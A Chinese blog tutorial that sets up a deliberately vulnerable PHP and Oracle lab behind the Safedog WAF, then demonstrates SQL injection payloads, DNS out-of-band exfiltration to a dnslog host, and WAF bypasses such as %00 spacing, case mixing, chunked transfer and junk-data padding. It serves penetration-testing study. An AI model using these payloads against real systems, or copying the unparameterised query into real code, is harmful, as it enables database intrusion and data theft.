文前先感谢大家的支持,上篇Oracle数据库注入总结想着后续学习一下如何进行利用,getshell的,奈何技术还太菜了,再加上项目压力大,所以就慢慢搁置了。这里先出一篇bypass的,文中仅针对Oracle数据库,但是bypass手法我认为万变不离其宗,思想上是通用的,希望能够对大家有所帮助。

0x01 环境准备

一、安装Oracle数据库

1、首先下载数据库安装软件
具体可以从参考这里,我是从他的百度云下载的
https://blog.csdn.net/qq_32786873/article/details/81187208
2、点击setup.exe安装即可

(安装过程不过多阐述,没什么太大区别,就下一步下一步即可)

3、开启oracle数据库

打开cmd,连接数据库

C:\Users\user>sqlplus
请输入用户名:  system
输入口令:
连接到:
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production

防止网络不通,建议关闭防火墙

4、使用navicat连接数据库(system:root)

5、也可以使用sql plus新建用户

二、安装phpstudy

1、phpstudy下载地址如下:
http://public.xp.cn/upgrades/phpStudy20161103.zip
这里推荐使用2016版本,因为我使用2018死活搭不成功
安装过程很简单,设置安装路径,下一步下一步即可。

2、切换版本为5.5.38,这里推荐这个因为我就是这个搭成功的。

(如果显示需要安装VC扩展库的话,按照教程安装即可,我这里安装的是VC11的,链接放这了:https://www.php.cn/xiazai/download/1481
3、安装完之后,打开phpinfo

也可以像我这样在C:\phpStudy\WWW目录下新建phpinfo.php文件,内容为:

<?php phpinfo();?>


这里看到是32位的。

三、设置oci8扩展

(这里我是一直不成功,弄了半天,差点放弃了)
1、首先在C:\phpStudy\php\php-5.5.38目录下,修改php.ini的内容(搜索oci8,找到对应的扩展处,将前面的;删除即可。)

2、之后就开始苦逼地调试环境了,最终弄好是根据这篇文章弄好的,链接如下:
https://www.it1352.com/1713162.html
在php路径下,打开cmd,输入如下命令:

C:\phpStudy\php\php-5.5.38>php.exe -m
PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8.dll' - %1 不是有效的 Win32 应用程序。
 in Unknown on line 0

Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8.dll' - %1 不是有效的 Win32 应用程序。
 in Unknown on line 0
PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8_11g.dll' - %1 不是有 效的 Win32 应用程序。
 in Unknown on line 0

Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_oci8_11g.dll' - %1 不是有效的 Win32 应用程序。
 in Unknown on line 0
PHP Warning:  PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_pdo_oci.dll' - %1 不是有效的 Win32 应用程序。
 in Unknown on line 0

Warning: PHP Startup: Unable to load dynamic library 'C:\phpStudy\php\php-5.5.38\ext\php_pdo_oci.dll' - %1 不是有效的 Win32 应用程序。
 in Unknown on line 0


3、根据文章中所说,安装oracle instantclient,链接如下:
https://www.oracle.com/database/technologies/instant-client/microsoft-windows-32-downloads.html
因为数据库是11g的,所以安装11.1.x版本

4、下载好之后解压,放入C:\instantclient_11_1

5、设置环境变量,这一步很重要
在此电脑右键属性 - 高级系统设置 - 环境变量 - 系统变量(Path) - 编辑

增加这三个路径,注意顺序不要变,instantclient必须放在php的上面。

6、验证,在cmd命令提示符中输入

where oci*


出现instantclient的路径即可。
7、重启计算机

8、在php路径下,打开cmd,输入如下命令并查看结果(没有出现“不是有效的 Win32 应用程序”即可)

php.exe --ri oci8


9、在phpinfo中搜索oci8,有如下界面表示扩展已经开启成功。(没有就重启phpstudy)

当出现如下界面,环境就已经基本搭建好了。

四、创建漏洞测试环境

1、 建立存在漏洞数据

1、首先使用navicat连接数据库
(这里有一个坑,连接时可能会出现oracle library is not loaded)

在工具 - 选项处

修改oci环境,选择之前数据库安装的路径,修改完后记得重启

2、连接数据库之后,选择相应的用户,我这里是SYSTEM

3、新建表TEST,设置如下字段

4、添加如下数据(数据其实是任意的,随意添加即可)

5、新建查询进行验证

以上漏洞数据就简单搭建成功了。

2、搭建PHP站点

1、将源码保存为oracle.php文件,放到C:\phpStudy\WWW目录下
源码如下:

<?php
  header("Content-Type:text/html;charset=utf-8");
  $id = @$_REQUEST['id'];
  $dbstr ="(DESCRIPTION =(ADDRESS = (PROTOCOL = TCP)(HOST =127.0.0.1)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = orcl) (INSTANCE_NAME = orcl)))"; //连接数据库的参数配置 
  $conn = oci_connect('system','root',$dbstr);//连接数据库,前两个参数分别是账号和密码
  if (!$conn)
  {
    $Error = oci_error();//错误信息
    print htmlentities($Error['message']);
    exit;
  }
  else
  {
    echo "<h3>Oracle 注入测试靶场</h3>"."<br>";
    $sql = "select * from TEST where id=".$id;//sql查询语句
      echo "当前sql语句为:".$sql."<br>"."<br>";//输出sql查询语句
    $ora_b = oci_parse($conn,$sql);  //编译sql语句 
    oci_execute($ora_b,OCI_DEFAULT);  //执行 
    while($r=oci_fetch_row($ora_b))  //取回结果 
    { 
      $i=0;
      echo "Id:".$r[$i++]."  </t> <br>";
      echo "Name:".$r[$i++]."  </t><br>  ";
      echo "Age:".$r[$i++]."  </t><br>  ";
    }
  }
  oci_close($conn);//关闭连接
?>

2、访问http://localhost/oracle.php?id=1,返回如下界面表示搭建成功,数据库也成功连接了。

五、安全狗


双击安装即可。
因为前面搭建环境是比较早就搭好了的,后面加上安全狗的时候忘记截图了,大概就是需要先将PHPstudy以系统服务来运行,之后再安装安全狗便可以选择相应的apache服务了。

0x02 bypass概念

bypass即绕过,分流。在渗透测试中,发现某漏洞存在但是因为waf、代码层面过滤等安全措施导致无法利用,这种时候,通过编码、大小写、双写等方式绕过安全防护的手法,我们常称之为bypass。

0x03 Oracle注入测试

首先列举正常无waf、无检测的环境下,oracle数据库注入的常见注入手法。

1、检测漏洞点

http://localhost/oracle.php?id=1 and 1=1

http://localhost/oracle.php?id=1 and 1=2

2、显错注入

http://localhost/oracle.php?id=-1 union all select 1,(select user from dual),3,'4' from dual --

3、报错注入

http://localhost/oracle.php?id=-1 and 1=ctxsys.drithsx.sn(1,(select user from dual)) --

4、布尔盲注

http://localhost/oracle.php?id=1 and 1=(select decode(user,'SYSTEM',1,0) from dual) --

http://localhost/oracle.php?id=1 and 1=(select decode(user,'SSSSS',1,0) from dual) --

5、延时盲注

http://localhost/oracle.php?id=1 and 1=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --

6、外带数据

http://localhost/oracle.php?id=1 and (select utl_inaddr.get_host_address((select user from dual)||'.pgx519.dnslog.cn') from dual)is not null --


0x04 bypass

1、空格替换

以?id=1 and 1=1为例,fuzz可以替换空格的常见字符

%2d、%2e不报错,但是无信息返回

%0a、%0b、%2b、%0c、%0d、%00、%20、%09
数据正常返回,可以替换

其他字符如/*/、/60001/、/!*/、+、()也可以替换空格


2、大小写替换

对关键字进行大小写随机替换

http://192.168.150.6/oracle.php?id=-1 uNIon ALl sELEct 1,'2',(SelEct uSEr fROm test wHEre id=1) fROm dUAl --

3、拼接换行回车符

Oracle中用CHR(10)表示换行、CHR(13)表示回车、字符串拼接使用||,那么回车换行即是chr(13)||chr(10)。

只要是select from XXX中的都可以拼接回车或换行,*不限于列名、字段名、正常字符串。如下图在user前拼接回车符

http://192.168.150.6/oracle.php?id=-1 uNIon ALl sELEct 1,'2',(SelEct chr(13)||uSEr fROm test wHEre id=1) fROm dUAl --


在之后拼接也是可以的

4、替换注入方法&结合替换

有的时候,真的一直无法显错注入、报错注入,这种时候,不妨试试盲注,虽然盲注获取数据难,耗费时间长,但是注入成功率却比显错、报错更高。
下面是通过延时盲注,加前面的%00替换空格,成功bypass

http://192.168.150.6/oracle.php?id=1 and%001=(select decode(substr(user,1,1),'S',dbms_pipe.receive_message('o',5),0) from dual) --


同样的,布尔盲注也成功bypass

http://192.168.150.6/oracle.php?id=1 and%001=(select decode(user,'SYSTEM',1,0) from dual) --http://192.168.150.6/oracle.php?id=1 and%001=(select decode(user,'SYSTEM1',1,0) from dual) --



and后面加%00,成功外带数据

http://192.168.150.6/oracle.php?id=1 and%00(select utl_inaddr.get_host_address((select user from dual)||'.nm0se5.dnslog.cn') from dual)is not null --



回头看报错注入,也成功bypass

http://192.168.150.6/oracle.php?id=-1 and%001=ctxsys.drithsx.sn(1,(select user from dual)) --

5、分块传输

到现在,除了显错注入,基本都已经成功bypass了,union select的我试了好多方法都不行,大小写、编码、换行、内联注释。

我还发现,内联注释中65001现在会拦截,650011不拦截

http://192.168.150.6/oracle.php?id=-1 union all /*!65001select*/ 1,(/*!65001select*/ user from dual),3,'4' from dual --http://192.168.150.6/oracle.php?id=-1 union all /*!650011select*/ 1,(/*!650011select*/ user from dual),3,'4' from dual --



查了一下意思是select变成了字符串,无法使用了。加个单引号又触发告警。。。

实在绕不过了,希望后面绕过的时候分享一下经验
现在这里,直接祭出大杀器,分块传输

编码之后发送数据包即可,成功绕过,这里放上数据包。

POST /oracle.php HTTP/1.1Host: 192.168.150.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: safedog-flow-item=081E092AB3A2707489C52CCAF4678FACUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 1156Transfer-Encoding: chunked2;xV1fjate8Q2XVoid3;FBbE5aPh1njsaBHT0t8amN=-13;DShr5ncZWnci6BodOiYRfspzR%202;pP4mnFcEQkyiQl6jC3ZuN3;Wx7ThDIon3;4NUgobBzQmvdJJgZwG%203;NXVKpLV5sALl1;lJalLMNAhnO8ffdGzL%2;pteuvLkGgZtSFG7wu4jh203;ft8CiaQjsEL1;ovy3F7LND8VHfkE3;RAyIuvoLAOWnSqxct%2;d6QXVbZb203;hNC48x1,%2;GCe40272;tz5rvVKedF2%1;G3myIfs0GAPu2eH7922;pThPJsudDL7,3;2yEVY8frLisFHPF4CDIR(Se3;gz14uhleOIDF74XtBFcXlEc2;QfmWbtNKcpt%3;a9jkXA20u2;LzU0pITPWYYSE3;tq3Kj9GTFfRqKymRnxr%22;LtPJFi3QoCTfQl0f2;EhqBiFNv8QXNqlcdgsRO1;bFragm1;DNn9kgy1%3;kswkTXdypO8iRNnAXQNy5gh20t3;Qjsv8Smfch2anhgwadest1;RJZ3Cf97d2iC5Yu%1;AomRcv23;KKFeF9ciN4Vwp6Rn26W530wH1;BMyXT4jl33E3;PPdD7Vdju0re%2;rsWVY36Q2ZmSh201;WQRwnvb7i2;uEAKtk5xd=3;c5E5JxcbYZ1)%2;FdTC5clj3AK5TO3201;13Am4uFf3;6Kz1J8BRdROm1;djnsRxzDiylbhAn4rapq%2;DlOc4poqaBWkrdVbG201;VUyDTYwHuog9fXrYxKm3WQF4d2;l10VFVhUA1;hAY6RlsGl1;CFQY7BhysEhkSmRVRgUIea%1;ENwHkBbAM8Rp623;9VNJ2r6HJRqRmBl3A7DmzAoiN0--3;AKxfqTuP7AstNrPdKtBFy9B/**1;5knHpLVmWn8kUWZkVfUSm8YJD/0


分块传输的插件github有,可以搜索chunked查找。

6、万能脏数据

前面分块传输成功后,给了自己莫大的信心,果然,万能脏数据也成功了,渐渐就好起来了。

要知道,waf对于每一个数据包都进行检测,这是很耗费资源的,所以一般只会在固定长度范围内进行检测,那么这里在语句中插入大量无用字符,便可以成功绕过。

POST /oracle.php HTTP/1.1Host: 192.168.150.6User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: safedog-flow-item=081E092AB3A2707489C52CCAF4678FACUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 6711id=-1/*脏数据*/uNIon/*脏数据*/ALl/*脏数据*/sELEct%201,%272%27,(SelEct%20uSEr%20fROm%20test%20wHEre%20id=1)%20fROm%20dUAl%20--/*脏数据*/

7、其他

其他还有一些双写、各种编码等,可以参考:https://mp.weixin.qq.com/s/t7W_yEB5ajb_zlng_uMD7w
基于Mysql数据库的绕过技术,虽然现在没有那么容易绕过了,但是思路不变,学习里面的思想也是不错的,初学时的一篇文章,希望大家喜欢。

0x05 总结

写了好久好久,也算是记录了自己的学习和尝试过程,希望对大家有所帮助。不知道我的写作风格大家喜不喜欢,我是比较边做边写,希望将思路的变化过程留下来,可能文章会比别人的长,也更繁琐,还请大佬们不要嫌弃。前面主要讲了环境准备和注入的简单payload展示,有相关能力的也可以直接看0x04,谢谢大家~

点击收藏 | 11 关注 | 2
登录 后跟帖